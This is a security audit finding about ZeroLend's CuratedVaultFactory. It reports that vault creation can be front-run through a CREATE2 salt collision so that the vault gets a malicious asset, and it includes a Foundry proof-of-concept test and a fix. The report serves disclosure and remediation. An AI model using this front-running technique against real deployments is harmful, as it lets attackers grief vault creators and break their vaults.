Innocent Chartreuse Parrot

Medium

# Vault creation can be perpetually griefed, rendering Curated Vaults useless

## Summary
Vault creation can be perpetually griefed and all vaults can be compromised upon deployment. 

## Vulnerability Detail
The deployment of a vault does not consider values that are specific to the user submitting the transaction (i.e. `msg.sender`):

[CuratedVaultFactory::createVault](https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/vaults/CuratedVaultFactory.sol#L48-L58)
```solidity
  function createVault(InitVaultParams memory p) external returns (ICuratedVault vault) {
    // create the vault
    vault = ICuratedVault(address(new RevokableBeaconProxy{salt: p.salt}(address(this), p.proxyAdmin))); // @audit: salt and proxyAdmin are not calculated dynamically in function call
    emit CuratedEventsLib.VaultCreated(vault, vaults.length, p, msg.sender);


    vault.initialize(p.admins, p.curators, p.guardians, p.allocators, p.timelock, p.asset, p.name, p.symbol); // @audit: all values not considered for deployment


    // track the vault
    vaults.push(vault);
    isVault[address(vault)] = true;
  }
```

As we can see above, only the supplied `salt` and `proxyAdmin` are considered when deploying the vault, while the other initialization values such as the `asset` is not considered. Therefore, a bad actor can front run a `createVault` transaction, using the same `salt` and `proxyAdmin` values as the original transaction, but supply a malicious `asset` value. As a result, the original transaction will revert since the vault has already been created (create2 collision) and the created vault can be considered compromised since the `asset`, which can not be changed, now points to a malicious token address (vault is now useless). 

## Proof of Concept
Place the following test inside `CuratedVaultFactoryTest.sol` and run with `forge test --mc CuratedVaultFactoryTest --mt testGriefVaultCreation`:

```solidity
    function testGriefVaultCreation() public {
        // vault owner prepares data for vault creation
        owner = address(0x01010101);

        address[] memory admins = new address[](1);
        address[] memory curators = new address[](1);
        address[] memory guardians = new address[](1);
        address[] memory allocators = new address[](1);
        admins[0] = owner;
        curators[0] = curator;
        guardians[0] = guardian;
        guardians[0] = allocator;
        defaultVaultParams = ICuratedVaultFactory.InitVaultParams({
          revokeProxy: true,
          proxyAdmin: owner,
          admins: admins,
          curators: curators,
          guardians: guardians,
          allocators: allocators,
          timelock: 1 weeks,
          asset: address(loanToken),
          name: 'Vault',
          symbol: 'VLT',
          salt: keccak256('salty')
        });

        // user observes tx data in mempool and alters the asset to be a malicious token
        address user = address(0x69420);
        MintableERC20 malToken = new MintableERC20('Malicious Token', 'MAL');

        defaultVaultParams.asset = address(malToken);
        
        vm.prank(user);
        vault = vaultFactory.createVault(defaultVaultParams);

        // vault owner's transaction executes, but reverts since vault already created
        defaultVaultParams.asset = address(loanToken);
        vm.startPrank(owner);
        vm.expectRevert();
        vaultFactory.createVault(defaultVaultParams);
        vm.stopPrank();

        // created vault's asset is malToken (vault compromised/unusable)
        assertEq(vault.asset(), address(malToken));
    }
```

## Impact
All curated vaults can become compromised upon deployment, breaking their core contract functionality - they simply can not be used.  

## Code Snippet
https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/vaults/CuratedVaultFactory.sol#L48-L58

## Tool used

Manual Review

## Recommendation
The salt should be calculated dynamically to take into account `msg.sender`.